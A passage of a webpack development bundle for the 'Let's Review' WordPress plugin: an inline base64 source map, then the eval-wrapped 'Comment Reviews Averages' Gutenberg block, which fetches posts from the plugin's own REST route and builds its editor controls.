FiZWw6IF9fKCdCcmFuZCcpLFxuXHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2NoZW1hQnJhbmQ6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLnNjaGVtYUJyYW5kXG5cdFx0XHRcdFx0fSkgOiAnJyxcblx0XHRcdFx0XHQnUHJvZHVjdCcgPT09IGF0dHJpYnV0ZXMuaXRlbVJldmlld2VkID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFRleHRDb250cm9sLCB7XG5cdFx0XHRcdFx0XHRsYWJlbDogX18oJ1NLVScpLFxuXHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2NoZW1hU2t1OiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5zY2hlbWFTa3Vcblx0XHRcdFx0XHR9KSA6ICcnLFxuXHRcdFx0XHRcdCdQcm9kdWN0JyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnTVBOJyksXG5cdFx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBzY2hlbWFNcG46IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLnNjaGVtYU1wblxuXHRcdFx0XHRcdH0pIDogJycsXG5cdFx0XHRcdFx0J01vdmllJyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnRGlyZWN0b3InKSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHNjaGVtYURpcmVjdG9yOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5zY2hlbWFEaXJlY3RvclxuXHRcdFx0XHRcdH0pIDogJycsXG5cdFx0XHRcdFx0J01vdmllJyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnRGF0ZSBDcmVhdGVkJyksXG5cdFx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBzY2hlbWFEYXRlQ3JlYXRlZDogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHR9LFxuXHRcdFx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuc2NoZW1hRGF0ZUNyZWF0ZWRcblx0XHRcdFx0XHR9KSA6ICcnLFxuXHRcdFx0XHRcdCdQcm9kdWN0JyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgfHwgJ01vdmllJyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnY29tcG9uZW50cy1iYXNlLWNvbnRyb2wgaW5zcGVjdG9yX191cGxvYWQnIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdE1lZGlhVXBsb2FkQ2hlY2ssXG5cdFx0XHRcdFx0XHRcdG51bGwsXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChNZWRpYVVwbG9hZCwge1xuXHRcdFx0XHRcdFx0XHRcdG9uU2VsZWN0OiBvbkltYWdlU2VsZWN0LmJpbmQodGhpcywgJ2ZpJyksXG5cdFx0XHRcdFx0XHRcdFx0dHlwZTogJ2ltYWdlJyxcblx0XHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5maUlELFxuXHRcdFx0XHRcdFx0XHRcdHJlbmRlcjogZnVuY3Rpb24gcmVuZGVyKF9yZWYpIHtcblx0XHRcdFx0XHRcdFx0XHRcdHZhciBvcGVuID0gX3JlZi5vcGVuO1xuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRcdFx0J2J1dHRvbicsXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnY29tcG9uZW50cy1idXR0b24gaXMtYnV0dG9uIGlzLWRlZmF1bHQgaXMtbGFyZ2UnLCBvbkNsaWNrOiBvcGVuIH0sXG5cdFx0XHRcdFx0XHRcdFx0XHRcdF9fKCdTZXQgU2NoZW1hIEltYWdlJylcblx0XHRcdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdFx0XHR9KVxuXHRcdFx0XHRcdFx0KSxcblx0XHRcdFx0XHRcdGF0dHJpYnV0ZXMuZmlUaHVtYiA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJywgeyBzcmM6IGF0dHJpYnV0ZXMuZmlUaHVtYiB9KSA6ICcnXG5cdFx0XHRcdFx0KSA6ICcnXG5cdFx0XHRcdCksXG5cdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChQYW5lbENvbG9yU2V0dGluZ3MsIHtcblx0XHRcdFx0XHR0aXRsZTogX18oJ0NvbG9yIFNldHRpbmdzJyksXG5cdFx0XHRcdFx0Y29sb3JTZXR0aW5nczogY29sb3JTZXR0aW5nc09wdGlvbnNcblx0XHRcdFx0fSlcblx0XHRcdCksIGVsKFNlcnZlclNpZGVSZW5kZXIsIHtcblx0XHRcdFx0YmxvY2s6IFwibGV0cy1yZXZpZXcvYmxvY2stdmlzaXRvci1yYXRpbmdzXCIsXG5cdFx0XHRcdGF0dHJpYnV0ZXM6IGF0dHJpYnV0ZXNcblx0XHRcdH0pXTtcblx0XHR9XG5cdH1dKTtcblxuXHRyZXR1cm4gbGV0c1Jldmlld1Zpc2l0b3JSYXRpbmc7XG59KENvbXBvbmVudCk7XG5cbnJlZ2lzdGVyQmxvY2tUeXBlKCdsZXRzLXJldmlldy9ibG9jay12aXNpdG9yLXJhdGluZ3MnLCB7XG5cdHRpdGxlOiBfXyhcIlZpc2l0b3IgUmF0aW5nXCIpLFxuXHRkZXNjcmlwdGlvbjogX18oJ0EgYmxvY2sgdG8gbGV0IHZpc2l0b3JzIGxlYXZlIHRoZWlyIG93biByYXRpbmcuJyksXG5cdGljb246IGljb25FbCxcblx0Y2F0ZWdvcnk6ICdsZXRzLXJldmlldy1ibG9ja3MnLFxuXHRrZXl3b3JkczogW19fKCdyZXZpZXcnKSwgX18oJ3JhdGluZycpLCAnbGV0cyByZXZpZXcnLCBcIkxldCdzIFJldmlld1wiLCAnbGV0cy1yZXZpZXcnXSxcblx0YXR0cmlidXRlczoge1xuXHRcdHNraW46IHtcblx0XHRcdHR5cGU6ICdzdHJpbmcnLFxuXHRcdFx0ZGVmYXVsdDogJzEnXG5cdFx0fSxcblx0XHRkZXNpZ246IHtcblx0XHRcdHR5cGU6ICdzdHJpbmcnLFxuXHRcdFx0ZGVmYXVsdDogJzEnXG5cdFx0fSxcblx0XHR0aXRsZToge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnJ1xuXHRcdH0sXG5cdFx0aGlkZVRpdGxlQm94OiB7XG5cdFx0XHR0eXBlOiAnYm9vbGVhbicsXG5cdFx0XHRkZWZhdWx0OiAnZmFsc2UnXG5cdFx0fSxcblx0XHRpY29uQ29kZToge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnJ1xuXHRcdH0sXG5cdFx0c2NvcmVUeXBlOiB7XG5cdFx0XHR0eXBlOiAnc3RyaW5nJyxcblx0XHRcdGRlZmF1bHQ6ICcxJ1xuXHRcdH0sXG5cdFx0aXRlbVJldmlld2VkOiB7XG5cdFx0XHR0eXBlOiAnc3RyaW5nJyxcblx0XHRcdGRlZmF1bHQ6ICdPcmdhbml6YXRpb24nXG5cdFx0fSxcblx0XHRzY2hlbWFEaXJlY3Rvcjoge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnJ1xuXHRcdH0sXG5cdFx0c2NoZW1hTXBuOiB7XG5cdFx0XHR0eXBlOiAnc3RyaW5nJyxcblx0XHRcdGRlZmF1bHQ6ICcnXG5cdFx0fSxcblx0XHRzY2hlbWFTa3U6IHtcblx0XHRcdHR5cGU6ICdzdHJpbmcnLFxuXHRcdFx0ZGVmYXVsdDogJydcblx0XHR9LFxuXHRcdHNjaGVtYUJyYW5kOiB7XG5cdFx0XHR0eXBlOiAnc3RyaW5nJyxcblx0XHRcdGRlZmF1bHQ6ICcnXG5cdFx0fSxcblx0XHRzY2hlbWFEZXNjcmlwdGlvbjoge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnJ1xuXHRcdH0sXG5cdFx0c2NoZW1hRGF0ZUNyZWF0ZWQ6IHtcblx0XHRcdHR5cGU6ICdzdHJpbmcnLFxuXHRcdFx0ZGVmYXVsdDogJydcblx0XHR9LFxuXHRcdGFjY2VudDoge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnI2Y4ZDkyZidcblx0XHR9LFxuXHRcdHNraW5CRzoge1xuXHRcdFx0dHlwZTogJ3N0cmluZycsXG5cdFx0XHRkZWZhdWx0OiAnIzExMSdcblx0XHR9LFxuXHRcdGZpSUQ6IHtcblx0XHRcdHR5cGU6ICdpbnRlZ2VyJ1xuXHRcdH0sXG5cdFx0ZmlUaHVtYjoge1xuXHRcdFx0dHlwZTogJ3N0cmluZydcblx0XHR9LFxuXHRcdHNraW5UZXh0OiB7XG5cdFx0XHR0eXBlOiAnc3RyaW5nJyxcblx0XHRcdGRlZmF1bHQ6ICcjZmZmJ1xuXHRcdH0sXG5cdFx0dWlkOiB7XG5cdFx0XHR0eXBlOiAnaW50ZWdlcicsXG5cdFx0XHRkZWZhdWx0OiAxMjNcblx0XHR9XG5cdH0sXG5cdGVkaXQ6IGxldHNSZXZpZXdWaXNpdG9yUmF0aW5nLFxuXHRzYXZlOiBmdW5jdGlvbiBzYXZlKHByb3BzKSB7XG5cdFx0cmV0dXJuIG51bGw7XG5cdH1cbn0pO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL2Jsb2NrL3Zpc2l0b3ItcmF0aW5ncy5qc1xuLy8gbW9kdWxlIGlkID0gNVxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EiLCJzb3VyY2VSb290IjoiIn0=\n//# sourceURL=webpack-internal:///5\n");
/***/ }),
/* 6 */
/*!***************************************!*\
!*** ./src/block/comment-averages.js ***!
\***************************************/
/*! no exports provided */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_regenerator__ = __webpack_require__(/*! babel-runtime/regenerator */ 7);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_babel_runtime_regenerator___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_babel_runtime_regenerator__);\n\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\n/**\n * BLOCK: Comment Averages\n */\n\nvar __ = wp.i18n.__;\nvar registerBlockType = wp.blocks.registerBlockType;\n\nvar el = wp.element.createElement;\n\nvar _wp = wp,\n apiFetch = _wp.apiFetch;\nvar _wp$editor = wp.editor,\n InspectorControls = _wp$editor.InspectorControls,\n MediaUploadCheck = _wp$editor.MediaUploadCheck,\n PanelColorSettings = _wp$editor.PanelColorSettings,\n MediaUpload = _wp$editor.MediaUpload;\nvar _wp$components = wp.components,\n SelectControl = _wp$components.SelectControl,\n TextControl = _wp$components.TextControl,\n ServerSideRender = _wp$components.ServerSideRender,\n PanelBody = _wp$components.PanelBody;\nvar _wp$data = wp.data,\n withSelect = _wp$data.withSelect,\n registerStore = _wp$data.registerStore;\n\n\nvar iconEl = el('svg', { width: 20, height: 20 }, el('path', { d: \"M19,0 C19.5522847,-1.01453063e-16 20,0.44771525 20,1 L20,19 C20,19.5522847 19.5522847,20 19,20 L1,20 C0.44771525,20 6.76353751e-17,19.5522847 0,19 L0,1 C-6.76353751e-17,0.44771525 0.44771525,1.01453063e-16 1,0 L19,0 Z M18,2 L2,2 L2,18 L18,18 L18,2 Z M10,5 L11.4694631,7.97745751 L14.7552826,8.45491503 L12.3776413,10.7725425 L12.9389263,14.045085 L10,12.5 L7.06107374,14.045085 L7.62235871,10.7725425 L5.24471742,8.45491503 L8.53053687,7.97745751 L10,5 Z\" }));\n\nvar actions = {\n\tsetPosts: function setPosts(posts) {\n\t\treturn {\n\t\t\ttype: 'SET_POSTS',\n\t\t\tposts: posts\n\t\t};\n\t},\n\tgetPosts: function getPosts(path) {\n\t\treturn {\n\t\t\ttype: 'GET_POSTS',\n\t\t\tpath: path\n\t\t};\n\t}\n};\n\nvar store = registerStore('codetipi-lets-review', {\n\treducer: function reducer() {\n\t\tvar state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { posts: {} };\n\t\tvar action = arguments[1];\n\n\n\t\tswitch (action.type) {\n\t\t\tcase 'SET_POSTS':\n\t\t\t\treturn Object.assign({}, state, {\n\t\t\t\t\tposts: action.posts\n\t\t\t\t});\n\t\t}\n\n\t\treturn state;\n\t},\n\n\n\tactions: actions,\n\n\tselectors: {\n\t\tgetPosts: function getPosts(state) {\n\t\t\tvar posts = state.posts;\n\n\t\t\treturn posts;\n\t\t}\n\t},\n\n\tcontrols: {\n\t\tGET_POSTS: function GET_POSTS(action) {\n\t\t\treturn apiFetch({ path: action.path });\n\t\t}\n\t},\n\n\tresolvers: {\n\t\tgetPosts: /*#__PURE__*/__WEBPACK_IMPORTED_MODULE_0_babel_runtime_regenerator___default.a.mark(function getPosts(state) {\n\t\t\tvar posts;\n\t\t\treturn __WEBPACK_IMPORTED_MODULE_0_babel_runtime_regenerator___default.a.wrap(function getPosts$(_context) {\n\t\t\t\twhile (1) {\n\t\t\t\t\tswitch (_context.prev = _context.next) {\n\t\t\t\t\t\tcase 0:\n\t\t\t\t\t\t\t_context.next = 2;\n\t\t\t\t\t\t\treturn actions.getPosts('/codetipi-lets-review/v3/posts/');\n\n\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\tposts = _context.sent;\n\t\t\t\t\t\t\treturn _context.abrupt('return', actions.setPosts(posts));\n\n\t\t\t\t\t\tcase 4:\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\t\treturn _context.stop();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}, getPosts, this);\n\t\t})\n\t}\n});\n\nregisterBlockType('lets-review/block-comment-averages', {\n\ttitle: __('Comment Reviews Averages', 'lets-review'),\n\tdescription: __('Show the average scores left by visitors via the comment reviews in any post.', 'lets-review'),\n\ticon: iconEl,\n\tcategory: 'lets-review-blocks',\n\tkeywords: [__('comments', 'lets-review'), __('review', 'lets-review'), __('visitors', 'lets-review'), 'lets review', \"Let's Review\", 'lets-review'],\n\tattributes: {\n\t\tpid: {\n\t\t\ttype: 'string'\n\t\t},\n\t\ttitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: __('Average User Ratings', 'lets-review')\n\t\t},\n\t\tisguten: {\n\t\t\ttype: 'boolean',\n\t\t\tdefault: true\n\t\t},\n\t\tbgID: {\n\t\t\ttype: 'integer'\n\t\t},\n\t\tbgThumb: {\n\t\t\ttype: 'string'\n\t\t},\n\t\tscoreType: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tskinBG: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#111'\n\t\t},\n\t\tskinText: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#fff'\n\t\t},\n\t\tskinTitles: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#ead125'\n\t\t},\n\t\taccent: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#f8d92f'\n\t\t},\n\t\tdesign: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tskin: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t}\n\t},\n\tedit: withSelect(function (select) {\n\t\treturn {\n\t\t\tposts: select('codetipi-lets-review').getPosts()\n\t\t};\n\t})(function (props) {\n\t\tvar setAttributes = props.setAttributes,\n\t\t attributes = props.attributes;\n\n\t\tvar critsOn = true,\n\t\t bgImgOn = false,\n\t\t barsAniOn = true,\n\t\t skin = parseInt(attributes.skin),\n\t\t design = parseInt(attributes.design);\n\n\t\tif (design === 3 || design === 4) {\n\t\t\tbgImgOn = true;\n\t\t\tbarsAniOn = false;\n\t\t}\n\n\t\tvar bgImagePlaceholder = __('Change Background Image');\n\t\tif (design === 6) {\n\t\t\tbgImagePlaceholder = __('Change Main Image');\n\t\t\tskin = 2;\n\t\t}\n\t\tif (!props.posts) {\n\t\t\treturn __('Loading...', 'lets-review');\n\t\t}\n\n\t\tif (props.posts.length === 0) {\n\t\t\treturn __('No posts', 'lets-review');\n\t\t}\n\t\tif (typeof attributes.pid === 'undefined' && typeof props.posts[0] !== 'undefined') {\n\t\t\tsetAttributes({ pid: props.posts[0].value });\n\t\t}\n\n\t\tfunction onImageSelect(attr, imageObject) {\n\t\t\tvar _setAttributes;\n\n\t\t\tvar thumb;\n\t\t\tif (typeof imageObject.sizes.medium !== 'undefined' && imageObject.sizes.medium.width > 0) {\n\t\t\t\tthumb = imageObject.sizes.medium.url;\n\t\t\t} else if (typeof imageObject.sizes.full !== 'undefined' && imageObject.sizes.full.width > 0) {\n\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t} else if (typeof imageObject.sizes.thumbnail !== 'undefined' && imageObject.sizes.thumbnail.width > 0) {\n\t\t\t\tthumb = imageObject.sizes.thumbnail.url;\n\t\t\t}\n\t\t\tif (attr === 'bg') {\n\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t}\n\t\t\tsetAttributes((_setAttributes = {}, _defineProperty(_setAttributes, attr + 'ID', imageObject.id), _defineProperty(_setAttributes, attr + 'Thumb', thumb), _setAttributes));\n\t\t}\n\n\t\tvar scoreTypeOptions = [{ label: __('Percentage'), value: '1' }, { label: __('Points'), value: '2' }];\n\n\t\treturn [wp.element.createElement(\n\t\t\tInspectorControls,\n\t\t\tnull,\n\t\t\twp.element.createElement(\n\t\t\t\tPanelBody,\n\t\t\t\t{ title: __('Block Options', 'lets-review') },\n\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\tvalue: attributes.pid,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ pid: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Select Post', 'lets-review'),\n\t\t\t\t\toptions: props.posts }),\n\t\t\t\twp.element.createElement(TextControl, {\n\t\t\t\t\tlabel: __('Title', 'lets-review'),\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ title: value });\n\t\t\t\t\t},\n\t\t\t\t\tvalue: attributes.title\n\t\t\t\t}),\n\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\tlabel: __('Design'),\n\t\t\t\t\tvalue: attributes.design,\n\t\t\t\t\toptions: [{ label: __('Minimalist'), value: '1' }, { label: __('Minimalist B'), value: '6' }, { label: __('Bold'), value: '2' }],\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\tif (6 === parseInt(value) && parseInt(attributes.scoreType) > 2) {\n\t\t\t\t\t\t\tsetAttributes({ design: value, scoreType: '1' });\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tsetAttributes({ design: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\tlabel: __('Score Type'),\n\t\t\t\t\tvalue: attributes.scoreType,\n\t\t\t\t\toptions: scoreTypeOptions,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ scoreType: value });\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t\tbgImgOn === true ? wp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ 'class': 'components-base-control inspector__upload' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\tnull,\n\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\tonSelect: onImageSelect.bind(this, 'bg'),\n\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\tvalue: attributes.bgID,\n\t\t\t\t\t\t\trender: function render(_ref) {\n\t\t\t\t\t\t\t\tvar open = _ref.open;\n\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t'button',\n\t\t\t\t\t\t\t\t\t{ 'class': 'components-button is-button is-default is-large', onClick: open },\n\t\t\t\t\t\t\t\t\tbgImagePlaceholder\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\t\t\t\t\t)\n\t\t\t\t) : wp.element.createElement(SelectControl, {\n\t\t\t\t\tlabel: 'Skin',\n\t\t\t\t\tvalue: attributes.skin,\n\t\t\t\t\toptions: [{ label: __('Light'), value: '1' }, { label: __('Dark'), value: '2' }, { label: __('Custom'), value: '3' }],\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skin: value });\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t),\n\t\t\twp.element.createElement(PanelColorSettings, {\n\t\t\t\ttitle: __('Color Settings'),\n\t\t\t\tcolorSettings: [{\n\t\t\t\t\tvalue: attributes.accent,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ accent: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Accent Color')\n\t\t\t\t}]\n\t\t\t}),\n\t\t\tparseInt(attributes.skin) === 3 && design !== 6 ? wp.element.createElement(PanelColorSettings, {\n\t\t\t\ttitle: __('Color Settings'),\n\t\t\t\tcolorSettings: [{\n\t\t\t\t\tvalue: attributes.skinBG,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skinBG: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Background Color')\n\t\t\t\t}, {\n\t\t\t\t\tvalue: attributes.skinTitles,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skinTitles: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Titles Color')\n\t\t\t\t}, {\n\t\t\t\t\tvalue: attributes.skinText,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skinText: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Body Color')\n\t\t\t\t}]\n\t\t\t}) : ''\n\t\t), el(ServerSideRender, {\n\t\t\tblock: 